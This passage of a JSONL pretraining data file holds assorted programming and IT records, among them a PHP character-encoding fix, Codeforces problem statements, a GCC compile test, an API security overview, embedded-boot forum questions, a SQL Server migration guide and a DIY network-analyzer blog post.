UTF-8 using utf8_encode(), will not convert to the proper multi-byte character, and thus will either appear as garbage in the browser or not at all (in fact it’s not at all since the values are unassigned).\nSince no third argument is given, mb_convert_encoding() will use the default internal encoding for that platform. Unfortunately, PHP uses ISO-8859-1 on Windows instead of the so-similar-yet-different-it’s-annoying-that-it-must-be-a-Microsoft-product Windows-1252 encoding, which mostly overlaps with ISO-8859-1 but has different values for certain non-control, non-ASCII punctuation characters.\nThe solution fortunately was also in the same manual page, which was simply a function with a hard-coded mapping to replace all the incorrectly converted Windows-1252 characters to their correct UTF-8 values.\nSo I modified the above line of code to look like the following, and I could see my smart quotes once again.\n$string = strtr(mb_convert_encoding($string, 'UTF-8'), self::$_cp1252_map);", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Senior Android Engineer Michael Morgano answers this week’s top question. Now that the Chromecast SDK is open, what does that mean for developers?\nNew to development or a pro who needs help? Just tweet your question to #AskADev. We’ll pick the best ones and have a developer answer them.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This project uses Particle's Argon and cloud services (webhooks) to provide an integrated access control system for a makerspace.\nThe system we made was a temperature tracker and software medical assistant which will enhance the user's awareness of COVID-19\nElectronic Medical Records (EMRs), Electronic Health Records (EHRs) Personal Health Records, eHealth-as-a-Service(eHaaS)\nThis program monitors the entry & exit of the building and marks the attendance.\nA detection tool that allows people in offices, schools and universities to monitor their employees and students' temperature.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "contextdeleter allows you to delete html elements on the fly..\ncontextdeleter allows you to delete elements within websites that you do not want to see.\nAre you reading a blog and theres an unsightly image that you dont want others to see right click the image and select \"Delete this Element\" to remove the element.\nThis is a very minimalist extension which injects itself into your right click menu.\nAs of version 0.1.0, all it does is delete elements.\nI will add features as requested by users.\nFlash elements and js generated html (as seen on Facebook) cannot be removed (however, you can remove the parent container of the flash element to remove the flash element).\nHISTORY: 0.1.0: 2012 >> initial release >> allows deletion of images, HTML elements, etc.\n0.2.0: 2012 >> small update >> added border on right click, which lets you see with greater ease what you will be deleting.\n2.0.0: July 27th, 2016 >> biggest update, skipping 1.0.0 release >> faster and smaller, restructured the code, added locales, and generally made it better.\nNow it reimplements the border styling it removed to add its target highlighter (blue box) on deselect (left mouse click, or right mouse click).", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 293, "token_count_with_eod": 294, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Ran Yakumo is a cute girl who loves creating cute Maths problems.\n\nLet $$$f(x)$$$ be the minimal square number strictly greater than $$$x$$$, and $$$g(x)$$$ be the maximal square number less than or equal to $$$x$$$. For example, $$$f(1)=f(2)=g(4)=g(8)=4$$$.\n\nA positive integer $$$x$$$ is cute if $$$x-g(x)<f(x)-x$$$. For example, $$$1,5,11$$$ are cute integers, while $$$3,8,15$$$ are not.\n\nRan gives you an array $$$a$$$ of length $$$n$$$. She wants you to find the smallest non-negative integer $$$k$$$ such that $$$a_i + k$$$ is a cute number for any element of $$$a$$$.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Applicable to Entuity v20.0 upwards.\nThe Device Configuration Diffs report provides a summary of individual changes in selected device configurations during a specified time span.\nDetails of the report:\nThe report displays a text summary of current device configuration diffs, sorted by device and then by timestamp.\nFor further help and information on change-based configuration diffs in Entuity, please see this article.\nTo run a Device Configuration Diffs report:\n- In the Main Menu, click Reports.\n- This will open the Reports page. Click Configuration Reports.\n- This will open the Configuration Reports page. Click Device Configuration Diffs.\n- This will open the Device Configuration Diffs Options page.\n- If you want to reuse previously saved report values, select it in the Use saved values dropdown field.\n- Specify the format of the report in the Report format field.\n- Specify a Report style template if required.\n- Specify the View against which the report is to be run in the Please select a View dropdown field. You can drag Views into this field from the Drop Box.\n- Specify the way in which the report will be sorted in the Please select a sort option dropdown field, one of:\n- Device name.\n- Policy checking.\n- Scheduled upload.\n- Maximum archives retained.\n- Specify the time zone to which you want the reporting period to apply. By default, this is set to None, which means that the time zone of the host/consolidation server is used.\n- Click Save to save your report values, Run to run immediately, or click Cancel.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/* This used to ICE on s390 due to bug in the definition of the 'R'\n   constraint which replaced the 'm' constraint (together with 'T')\n   while adding z10 support.  */\n\n/* { dg-do compile } */\n/* { dg-options \"-O\" } */\n\nint boo()\n{\n  struct {\n    unsigned char pad[4096];\n    unsigned long bar;\n  } *foo;\n  asm volatile( \"\" : \"=m\" (*(unsigned long long*)(foo->bar))\n\t\t: \"a\" (&foo->bar));\n}", "source": "cpt_stack_code", "language": "code", "token_count": 133, "token_count_with_eod": 134, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "There’s no arguing that the API ecosystem has become a key enabler for businesses. Leveraging APIs has helped companies become more agile, grow faster, and unlock more revenue. However, companies must also prioritise API security to make the most of this technology. Otherwise, they risk exposing their data and critical infrastructure to cybercriminals.\nWhile API security is vital — malicious API attack traffic surged from an average of 12.22M malicious calls per month to an average of 26.46M calls over the past year — it’s also challenging to get right. Standard security practices like web application firewalls and identity and access management solutions weren’t designed to protect APIs. Instead, APIs require a robust security strategy that accounts for various challenges, including:\n- A constantly evolving landscape where existing APIs change all the time and new ones enter the space with different parameters\n- Low-and-slow attacks that are designed to compromise unique features in an API\n- Existing security tactics in the DevOps model that don’t account for the complexities of APIs across different environments\n- APIs with multiple, complex layers that require specific security measures to keep them safe\nTo mitigate the impact of these complexities, an API security framework needs to cover all the bases. It requires a layered approach that keeps attackers out and protects the valuable data shared across an API network. In this article, we’re taking a closer look at how APIs can be compromised across various areas and how to secure each layer in an API.\nAPIs have multiple vulnerabilities\nThere is no one way to compromise APIs. In fact, just exploring some of the most common API attacks shows the breadth of vulnerabilities. These include:\n- BOLA attacks: In broken object-level authorization attacks, bad actors exploit API endpoints by manipulating the ID of an object sent in an API request. Since the server component doesn’t usually track the client’s state, these vulnerabilities are prevalent in APIs. These attacks can lead to data being accessed, stolen, modified, or destroyed.\n- Broken user authentication: Teams with weak password hygiene, long password rotation cycles, or those that rely exclusively on API keys as authentication materials are open to broken user authentication attacks. Cybercriminals can exploit these vulnerabilities by using stolen authentication tokens, credential stuffing, or brute-force attacks to get access to applications. Once they’re in, they can leverage this access to compromise user data, conduct phishing attacks, or make transactions to their benefit.\n- Excessive data exposure: APIs that share more data than they should, leave themselves open to attack. APIs send more information than is needed, relying on the client application to filter the data and present the correct input to the end user. However, bad actors can use redundant data from this process to extract sensitive information, which they can then use to compromise the organisation.\n- Security misconfiguration: This category spans several potential vulnerabilities, as various security misconfigurations could negatively impact an API. These include incomplete configurations, verbose error messages, and misconfigured HTTP headers. Bad actors can learn more about the API they’re attacking and exploit these errors.\n- Business logic flaws: Some of the most successful API attacks target gaps in the business logic of the API. If a developer hasn’t fully understood the use case or business logic they are trying to build for, they may leave logical flaws in the code that attackers can then exploit. This is one of the trickiest vulnerabilities to identify and solve.\nThese vulnerabilities span different functions and layers within an API, including authentication, data processing, and business logic. This is why a strong API security strategy needs to be multi-layered.\nA layered approach to API security\nA successful API security framework covers the four key layers of an API. These include the network and service, data, identity and access, and business and application layers.\nNetwork and service layer\nAn API’s network and service layer is often compromised by attacks that overload the system with requests or traffic — like a DDoS attack. Measures that teams can take to prevent these types of attacks include pagination, which segments results from queries into manageable chunks, as well as API throttling, which limits the number of API requests that a user can make in a designated amount of time.\nAttacks to the data layer will often include an injection of malicious code that disrupts the usual functionality of the API — this is how attackers will leverage excessive data exposure, for example. One way to mitigate these efforts is to validate all input data on the server side. Bad actors can easily bypass validation efforts on the client side, so adding a validation step on the server side can reduce their success rate.\nAnother helpful approach for preventing cross-site scripting, for instance, is to use HTML entity encoding. This way, user input data is encrypted before a response is sent to the web browser, thus protecting it in motion.\nIdentity and access layer\nIdentity and access management is a vital component of API security. Teams should be able to ensure that only the right people have the right level of access to the correct data at the right time. Implementing role-based access control across every API and role and feature mapping can reduce the impact of authentication-based attacks. This should be implemented as early as possible in the API development process. Continuous monitoring and reviews of the security parameters are also key activities.\nBusiness and application layer\nAs mentioned above, business logic gaps pose a high risk for API attacks. API testing is part of the equation, but pre-production testing won’t uncover most business logic gaps. Teams must also implement runtime security to identify the reconnaissance behaviour of an attacker manipulating a company’s APIs.\nCybercriminals see APIs as dynamic and multifaceted technologies that are rife for attack — and companies need to look at their APIs similarly. As you build out your API security strategy, make sure to take a comprehensive approach that accounts for all these different parts of your attack surface. Only with the right security measures in place will you be able to fully take advantage of the API economy.\nAuthor: Ali Cameron is a content marketer that specializes in the cybersecurity and B2B SaaS space. Besides writing for Tripwire’s State of Security blog, she’s also written for brands including Okta, Salesforce, and Microsoft. Taking an unusual route into the world of content, Ali started her career as a management consultant at PwC where she sparked her interest in making complex concepts easy to understand. She blends this interest with a passion for storytelling, a combination that’s well suited for writing in the cybersecurity space. She is also a regular writer for Bora.\nAli is a guest blogger. All opinions are her own.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1347, "token_count_with_eod": 1348, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are an intergalactic surgeon and you have an alien patient. For the purposes of this problem, we can and we will model this patient's body using a $$$2 \\times (2k + 1)$$$ rectangular grid. The alien has $$$4k + 1$$$ distinct organs, numbered $$$1$$$ to $$$4k + 1$$$.\n\nIn healthy such aliens, the organs are arranged in a particular way. For example, here is how the organs of a healthy such alien would be positioned, when viewed from the top, for $$$k = 4$$$:\n\nHere, the E represents empty space.\n\nIn general, the first row contains organs $$$1$$$ to $$$2k + 1$$$ (in that order from left to right), and the second row contains organs $$$2k + 2$$$ to $$$4k + 1$$$ (in that order from left to right) and then empty space right after.\n\nYour patient's organs are complete, and inside their body, but they somehow got shuffled around! Your job, as an intergalactic surgeon, is to put everything back in its correct position. All organs of the alien must be in its body during the entire procedure. This means that at any point during the procedure, there is exactly one cell (in the grid) that is empty. In addition, you can only move organs around by doing one of the following things:\n\n- You can switch the positions of the empty space E with any organ to its immediate left or to its immediate right (if they exist). In reality, you do this by sliding the organ in question to the empty space;\n- You can switch the positions of the empty space E with any organ to its immediate top or its immediate bottom (if they exist) only if the empty space is on the leftmost column, rightmost column or in the centermost column. Again, you do this by sliding the organ in question to the empty space.\n\nYour job is to figure out a sequence of moves you must do during the surgical procedure in order to place back all $$$4k + 1$$$ internal organs of your patient in the correct cells. If it is impossible to do so, you must say so.", "source": "cpt_codeforces", "language": "en", "token_count": 457, "token_count_with_eod": 458, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I am Dinakar, working on MCF52277EVAL Board, I need to use Serial Boot Facility of this board to load my boot loader into internal SRAM. I have an application note (AN3514) but it is for MCF54455. I followed the same procedure incorporating changes needed for MCF52277 but I am not able to make the system come out of reset. I can see SPI communication and change of SPI clock after first byte reading but some how processor do not come out of reset.\nI suspect the problem with reset configurations ( I tried several possiblities). Can some one give me some working file/guidelines RCON settings etc which are specific for MCF52277....\nThanks in Advance", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 164, "token_count_with_eod": 165, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "We are using T2081 as a CPU, Uboot as boot loader and vxworks 7.0 as an operating system. Our requirement is we want boot from NOR flash which will have U-boot as the boot loader.\nBut we want to keep our kernel which is vxworks 7.0 inside EMMC and ask U-Boot to take the kernel from the EMMC. Also we want to put some software packages inside the EMMC.\nTo achieve the above requirement what all is required..?\nThanks & Regards", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 110, "token_count_with_eod": 111, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a tube which is reflective inside represented as two non-coinciding, but parallel to $$$Ox$$$ lines. Each line has some special integer points — positions of sensors on sides of the tube.\n\nYou are going to emit a laser ray in the tube. To do so, you have to choose two integer points $$$A$$$ and $$$B$$$ on the first and the second line respectively (coordinates can be negative): the point $$$A$$$ is responsible for the position of the laser, and the point $$$B$$$ — for the direction of the laser ray. The laser ray is a ray starting at $$$A$$$ and directed at $$$B$$$ which will reflect from the sides of the tube (it doesn't matter if there are any sensors at a reflection point or not). A sensor will only register the ray if the ray hits exactly at the position of the sensor.\n\nExamples of laser rays. Note that image contains two examples. The $$$3$$$ sensors (denoted by black bold points on the tube sides) will register the blue ray but only $$$2$$$ will register the red.\n\nCalculate the maximum number of sensors which can register your ray if you choose points $$$A$$$ and $$$B$$$ on the first and the second lines respectively.", "source": "cpt_codeforces", "language": "en", "token_count": 258, "token_count_with_eod": 259, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "After Part 1 where we created a build template in Packer for a Docker compatible image of Windows Server, capable of running containers, I was inspired by the West Wind Album Viewer sample project, and decided it was time to start developing a containerized app for the server to run. With Visual Studio 2017 and .NET Framework 4.7, there is native support for running containerized applications with Docker.\nAbout a month ago someone at work turned me on to testing with Selenium. I was blown away with the functionality and I couldn’t believe what I was seeing. Selenium automates the actions that you write in your tests. It gives you a great visual picture of what is happening. I quickly tried to implement some of the Selenium concepts in my own work. Using Selenium is about as easy as getting started with Nunit which was my previous blog here.\nFor this next part we are going setup a basic node/React site (the ultimate goal being a running a Phaser app built on node/React running in AWS). First we’ll dig into the dependencies we need and then we’ll move on to the various bits of code necessary to get up and running.\nIntroduction to Unit Testing\nComing into this I knew next to nothing about Unit testing. The testing I had implemented in the past had always been scrutinized as the wrong way of testing and not really unit testing but more like integration testing. Unit testing for me has been a way to fix nuances in code. For me, I’ve always used the approach of coding first and testing after but I have heard of cases where testing first methodology has worked. For those of you that are new to unit testing, in general, you might be able to find a better understanding of what unit testing is by using some of the documentation that I’ve found.\nWelcome to Part 2 of my “Getting Started With Python” series. In part one, I looked at Python from an outsider’s perspective. I knew that most programming languages had common constructs for looping, conditionals, and other flow control mechanisms, but I also know that Python syntax is largely different than the curly brace languages I had been using for the entirety of my career. I wasn’t sure what kind of learning curve I was jumping into, but I had a plethora of baseball statistics at my fingertips and I wanted to write something that could massage them into a format I could use for my purposes. Thus, I carved out some time and got my hands dirty.\nThis is the first in a series of blog posts chronicling my journey into the world of programming with Python.\nIn order to begin my journey into exploring Docker, I felt the need to incorporate as many of the 12 Factor principles as I could into my development pipeline. I also wanted to have a clean place to get started on a Docker workflow, that was isolated from my normal .NET Development environment so as not to conflict, or pickup and unneeded dependencies. I had heard a lot about Hashicorp, and the tools they build for “provisioning, securing, connecting, and running any infrastructure for any application”. So, I decided I wanted to start there, with a fresh Packer Image that could be built, and reused from “scratch” as many times as I would need.\nWelcome to the Laughlin Constable Dev Team Blog! This will serve as a documentation of our team’s journey into technology. The idea started as an effort to get our team to go outside their comfort zone. Often times we fall into “maintenance mode” where we spend our days working very hard to meet deadlines and respond to issues and this usually comes at the expense of finding time for innovation and growth. This is our answer to that problem. We hope you enjoy your stay.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 764, "token_count_with_eod": 765, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Designing and building a FIRST robot can be a daunting undertaking, especially for rookie teams or new members of existing teams. Ideally, every member of the team should have enough background to make a contribution during the 6-week build season starting January 9th. Without seeing a wide range of robots, and understanding some technical basics, it’s hard to take a central role. That’s where FIRSTFare comes in. FIRSTFare is both a robot show and a collection of technical/marketing seminars. You’ll get a detailed look at some of last year’s robots from veteran teams. You can ask dumb questions and no one will laugh nor will they feel like you’re “spying”. The teams coming to this event are there to share the tribal knowledge they’ve gathered. Last year nearly 400 people came. The other main function of FIRSTFare will be seminars on a variety of topics. These are typically presentations by experienced students, mentors, or vendors. There are multiple seminar tracks with something of interest to anyone on a FIRST team. If you are a member or mentor of a FIRST Robotics Competition team this is the place to be.\nFIRSTFare was held on October 31st, 2009 at Catlin Gabel School in Portland.\nThe final schedule is located here.\nPRESENTATIONS AND DOWNLOADS\nWe’ve saved the presentations and speaker’s materials. They can be found here.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 290, "token_count_with_eod": 291, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Q: The customer reports that some users forget to get offline or when they do not use network bandwidth, it needs to force those users offline at BAS, avoiding extra losses. How does MA5200G set the idle cut for users?\nIt is regulated that if a broadband user has no traffic in an hour (not including the control packets such as user detection) or if the customer request traffic lower limit, MA5200G will execute command to cut the user. If requested, configure MA5200G as follows, or according to the requirements of users.\n[MA5200G-aaa-domain-test]idle-cut xx xx\nFor instance: [MA5200G-aaa-domain-test]idle-cut 60 120\nThe configuration means that if the traffic of a user at one minute within an hour does not reach 120Kbyte, it will be forced offline. The last parameter (the value of traffic required in every minute) could be advertised by Radius.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 214, "token_count_with_eod": 215, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "|How does ssl work?\nDetailed SSL – Step 1 Determine Secure Communication\n( updated 2004-01-15 )\nThis is page 2 of our SSL articles. You can go back to the SSL overview by clicking here.\nInternet communication typically runs through multiple program layers on a server before getting to the requested data such as a web page or cgi scripts.The outer layer is the first to be hit by the request. This is the high level protocols such as HTTP (web server), IMAP (mail server), and FTP (file transfer).Determining which outer layer protocol will handle the request depends on the type of request made by the client. This high level protocol then processes the request through the Secure Sockets Layer. If the request is for a non-secure connection it passes through to the TCP/IP layer and the server application or data.If the client requested a secure connection the ssl layer initiates a handshake to begin the secure communication process. Depending on the SSL setup on the server, it may require that a secure connection be made before allowing communication to pass through to the TCP/IP layer in which case a non-secure request will send back an error asking for them to retry securely (or simply deny the non-secure connection).\nThis question is usually geared toward whether or not the path and query string is encrypted in an HTTPS “get” request (this is where form field responses or program variables are tagged on to the end of the url). These fields are stripped off of the URL when creating the routing information in the https packaging process by the browser and are included in the encrypted data block.\nThe page data (form, text, and query string) are passed in the encrypted block after the encryption methods are determined and the handshake completes.\nA related issue that frequently comes up is whether or not form data is transmited with encryption if the blank form is displayed without https. If the form “action” is set to use https then the ssl handshake will take place before the data is sent. Whether or not the original form is displayed using https has little to do with the form submission unless the form action uses a relative path, in which case the default will be to use the protocol that was used to display the form.\nThis applies to both the request and the response.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 470, "token_count_with_eod": 471, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Upgrading usb key code\nJust got new motherboard put into the laptop, so had to re-enter codes to enable isadora. I used the wrong one for the usb key, so have enabled the standard version of isadora, how do I enter the core video one to enable core stuff - registration option is now greyed out?\nIf you have a mac I can help.\nQuit Isadora and go to users-->shared and trash the Isadora Registration file.\nRestart Isadora and you can re-register.\nDon't know where to find that file on the PC. Someone else?\nHi Michaelhave done that as far as i can see, but its still showing up as registered when the usb key is inserted (have restarted computer as well)Nick\ntrial and error got me there - launch isadora without the key plugged in, then plug the key - registration menu item is then available and gives empty box to enter code.\nmark last edited by\nThe instructions (which you should have received via email when you got your key) are to delete Isadora USB and re-install the program. This clears the registration file embedded into the app. Probably you got that mail a long time ago though.Anyway, that's the best practice for this situation.Best Wishes,Mark\nThanks for that.Yep the email is long gone - just saved the code number.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 280, "token_count_with_eod": 281, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Results 1 to 2 of 2\nhi all: here's a twist on things... i have a fedora 3 box set up behind a linksys router which is designated as dhcp (the router is dhcp). i am ...\nEnjoy an ad free experience by logging in. Not a member yet? Register.\n- 05-30-2005 #1\n- Join Date\n- Jan 2005\nHELP PLEASE i cannot ftp files to a fedora 3 box behind router\nhere's a twist on things... i have a fedora 3 box set up behind a linksys router which is designated as dhcp (the router is dhcp). i am trying to set up and serve content and specified a static IP on the router which passes through and accesses my linux box (see: http://18.104.22.168/ ) and does serve a basic page to the web. i will run subdirectories for the limited stuff i'll be doing.\nquestion: when i ftp into the box through the linksys router, i cannot put any files. i am able to cp files with a terminal window, but i cannot get transfer them with wsFTP or smartFTP on a windows box. i can browse and view the directories and actually get a fast login. i have checked permissions and they are '755' on var/www/html but when i try to move the files, i cannot.\nanyone have any ideas?\n- 05-30-2005 #2\n- Join Date\n- Apr 2005\nCan u tell me which FTP Package have you installed and configured. If I am able to uderstand correctly you are not able to put any files when you are using it thru the windows client right?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 379, "token_count_with_eod": 380, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "We're currently running version 184.108.40.206. and everything was working just fine until today. No modifications were made that we are aware of and the only update that was done prior to this issue was an woocommerce update. I have tried disabling each of our plugins one at a time, but ALL images are still broken throughout the entire forum. We're running both the advanced attachments and the wpforo embed addons. Again, everything was running just fine until now. If you see my screenshot, you can see that all attachment thumbnails are missing and/or broken. If you attempt to view direct url of an attachment, it produces a non-specific error notice: \"image cannot be displayed because it contains errors\"\nHere's what I have already attempted with no success:\n1.) Disabling all other plugins\n2.) Regenerating thumbnails\nCan anyone offer any additional suggestions on trouble shooting critical issue??\nIt looks like another user experienced the same exact issue here: https://gvectors.com/forum/wpforo-advanced-attachments/images-dont-display-anymore/\nLooks like kyle had suggested to disable \"secure attachment urls\" and that seemed to immediately fix the other user's issue.\nThe question is, where is that specific setting? It seems that it no longer exists?\nOk, I was able to locate the add-on tab that contained all of the settings and finally have resolved the \"broken image\" issue after switching off secure attachment urls.\nI still have two questions about this issue:\n1.) What would be causing secure attachment urls to break images in the first place?\n2.) What are the downsides/risks to having secure attachment urls turned off?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 351, "token_count_with_eod": 352, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "SQL Server migrations are a necessary and expected part of keeping a modern SQL Server deployment. We have worked with many clients on migration projects, and I have organized some considerations for you and your team before, during, and after your SQL Server migration. We recommend working with a SQL server DBA on these kinds of projects. Especially because this list is not exhaustive, nor does it take everything for your environment into account, a DBA will be best equipped to help keep things on track.\nThe main set of reasons we encounter for a migration project is that SQL is out of date or it is time for a hardware upgrade or both. Some others may be to change data centers or to move to the cloud. In any case, the things I will ask you to consider will be relevant to any migration project.\nFirst is hardware:\nProvisioning is a complex topic, and an in-depth guide is out of the bounds of this post. However, be sure to look into the CPU and network throughput needs of your current production workload on the old server and plan appropriately according to your business needs.\nFor storage, we recommend getting a different drive for the different workloads in SQL Server. Specifically, having a separate drive for each of the following: the binary files, the data files (.mdf and .ndf), the log files (.ldf), TempDB (.mdf,.ndf, and .ldf), and backups (.bak or .trn), and none of these should live on C:\\. This is to help prevent I/O issues across workloads as well as prevent the C:\\ drive from ever having a space issue that could take the server down. Be sure to size the new drives in accordance with the usage patterns of the prior server with room for growth. A cloud consideration is to look for a local attached SSD for TempDB to increase performance, also known as ephemeral storage.\nWe would also recommend provisioning a network storage for local backups and point in time-recoverability with low wait times. This should be paired with a backup to cloud storage for long-term retention and ransomware protection.\nSecond is Software:\nWhen at all possible, keep the SQL server host clean from other applications and services. Even SQL Server Management studio should not be installed on a high-performance production system!\nWhen installing SQL Server on the new host, be sure only to include the services that will be needed. Refrain from installing everything available, or even things you might use later. Only install things you plan on using. This helps keep the device performant and lean. However, you can run the SQL server discovery report (built into the SQL server installer) to see what SQL Server extensions are currently running on the old server so that the new server can be configured the same.\nThird is licensing:\nSome migrations occur solely to save money on licensing or to access features only available to the Enterprise edition, such as intelligent query tuning. Be sure to consider the pain points of your current system and investigate if a newer version feature solves it or simplifies its management. Also, consider if a higher edition will provide quality of life improvement or business critical service that may reduce time or cost in other ways.\nFourth is configuration and compatibility\nSome organizations use legacy SQL versions because their application requires them. It is worthwhile to consider that there are minimum compatibility levels when upgrading. For example, the minimum compatibility level in SQL server 2019 is 100, which is the 2008 version of the cardinality estimator. Checking with vendors or internal development teams with these new features in a dev environment (SQL server developer edition is free for this purpose!) is a worthwhile investment.\nBe sure to consider the current configurations of individual databases on the old server. Some that have tripped up some of our clients have been ‘is_trustrworthy_on’, ‘is_read_committed_snapshot_on’, ‘is_broker_enabled’ among others.\nWe recommend testing production workloads in a development environment before migrating. Testing app connections and ensuring everything works as it should be a required checkpoint in your project. The last thing you want in the middle of a downtime is to find out there is an unknown compatibility issues on the app side when the database has already been cut over to the new server.\nFifth is downtime:\nA well-planned migration can have a cutover of a production database in 5 minutes or less. We typically use log shipping as it is an effective and low-maintenance method to get a production copy of data that is usually less than 1 hour out of sync from production. The process for cutting over for us is the least painful part of a migration. Especially since we typically work through all the above with our clients beforehand.\nConsiderations During Migration\nSince this is typically a short section of our process, I will describe the general flow:\nWe set up log shipping sometime before the migration, it does not take much as the longest part is typically restoring a copy of the production database to the new server. Once this is set up, we use scripts to configure and start the log shipping process. We make sure the LSbackup, copy, and restore jobs work and then we are set until the day we cut over. We also copy over any relevant jobs or linked servers and ensure other dependencies, such as SSIS packages, are ready at this point in the process.\nOn cutover day we use scripts to set the database to read-only and cancel all in-flight transactions so the data is in a consistent state. We do one last backup and then disable the job. We use the built-in report to see “Transaction Log Shipping Status” and compare the LSNs of the most recent backup and restore to make sure all the most recent data has been restored to the new server. Then we disable the copy and restore jobs, recover the database on the new server and set it to read/write. Here is where our clients change the connection strings and ensure everything is working as expected. We follow up by changing relevant configurations such as the ones mentioned above and clearing out the log shipping jobs from the old and new servers.\nThe database is set up and is running on the new server, at this point we would use our final ‘copy-logins’ script to ensure the application and users have the same permissions and login capabilities on the new server. Migration complete!\nWe monitor our client’s servers throughout the year, so we typically look at our maintenance jobs and reports as they come in after the migration to look for any issues, working with the client to resolve any issues that arise. Having alerts set up to catch these issues is important, even if you do have a DBA team!\nI hope this helps you on your migration path. Please let us know if you are having trouble or need more information, we would be glad to help you have a successful migration and more!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1404, "token_count_with_eod": 1405, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A Course/Module Director can change the way tools are listed in the left-hand navigation. By default 2.9 sorts these tools alphabetically. Course/Module Directors can arrange the tools by:\n- Click Site Editor\n- Click Page Order\n- DRAG each tool up or down and place it relative to the other tools\n- Click Save\nOther capabilities include renaming, hide/disable and delete.\nFor consistency between sites for students we recommend that you do not change the name.\nIn some cases hiding or disabling a tool will affect student access.\nBefore deleting a tool verify that there is no data.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 125, "token_count_with_eod": 126, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Polycarp is working on a new operating system called BerOS. He asks you to help with implementation of a file suggestion feature.\n\nThere are $$$n$$$ files on hard drive and their names are $$$f_1, f_2, \\dots, f_n$$$. Any file name contains between $$$1$$$ and $$$8$$$ characters, inclusive. All file names are unique.\n\nThe file suggestion feature handles queries, each represented by a string $$$s$$$. For each query $$$s$$$ it should count number of files containing $$$s$$$ as a substring (i.e. some continuous segment of characters in a file name equals $$$s$$$) and suggest any such file name.\n\nFor example, if file names are \"read.me\", \"hosts\", \"ops\", and \"beros.18\", and the query is \"os\", the number of matched files is $$$2$$$ (two file names contain \"os\" as a substring) and suggested file name can be either \"hosts\" or \"beros.18\".", "source": "cpt_codeforces", "language": "en", "token_count": 210, "token_count_with_eod": 211, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Vector network analyzer (VNA) are used to measure scattering parameters of high frequency circuits. When frequency is high enough the reflections of the waves start to matter and distributed effects need to be taken into account. VNA can be used to analyze reflection and transmission coefficients of circuits at high frequencies.\nFor example ideally antenna would radiate all the energy it gets, but all antennas reflect some of the energy back to the source and only radiate energy at certain frequencies. With VNA amount of energy reflected as function of frequency can be measured. Amplifiers also reflect some energy from both input and output and have some amount of gain. All of which can be measured using VNA.\nUnfortunately VNAs are often very expensive and way out of my budget. Newest cutting edge VNAs with very wide frequency band can have insanely high cost. For example starting price of Anritsu’s 110 GHz VectorStart ME7838A VNA is $575,850. Even used VNAs for lower frequencies are often several thousand dollars. At ebay cheapest used 6 GHz two port VNAs seem to sell for about 2,000€, still way more than I’m willing to pay.\nSince I can’t afford even a used VNA I decided to make one myself with a budget of 200€, tenth of what they cost used and about 1/100 of what they cost new. Of course it isn’t going to be as accurate as commercial VNAs, but I don’t need that high accuracy and it’s a good learning experience anyway.\nOur Ladyada (Limor Fried) was nominated for Red Hat’s Women in Open Source Award! Please vote for her! Visit: https://www.redhat.com/en/about/women-in-open-source\nStop breadboarding and soldering – start making immediately! Adafruit’s Circuit Playground is jam-packed with LEDs, sensors, buttons, alligator clip pads and more. Build projects with Circuit Playground in a few minutes with the drag-and-drop MakeCode programming site, learn computer science using the CS Discoveries class on code.org, jump into CircuitPython to learn Python and hardware together, or even use Arduino IDE. Circuit Playground Express is the newest and best Circuit Playground board, with support for MakeCode, CircuitPython, and Arduino. It has a powerful processor, 10 NeoPixels, mini speaker, InfraRed receive and transmit, two buttons, a switch, 14 alligator clip pads, and lots of sensors: capacitive touch, IR proximity, temperature, light, motion and sound. A whole wide world of electronics and coding is waiting for you, and it fits in the palm of your hand.\nHave an amazing project to share? Join the SHOW-AND-TELL every Wednesday night at 7:30pm ET on Google+ Hangouts.\nJoin us every Wednesday night at 8pm ET for Ask an Engineer!\nMaker Business — The strange world of low-margin online returns\nWearables — Liquid magic\nElectronics — Diamonds may be forever… but components? Not so much.\nBiohacking — Raspberry Pi Health Dashboard\nPython for Microcontrollers — Python on hardware, a portal to a world of fun! #Python #Adafruit #CircuitPython @circuitpython @micropython @ThePSF @Adafruit\nNo comments yet.\nSorry, the comment form is closed at this time.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 703, 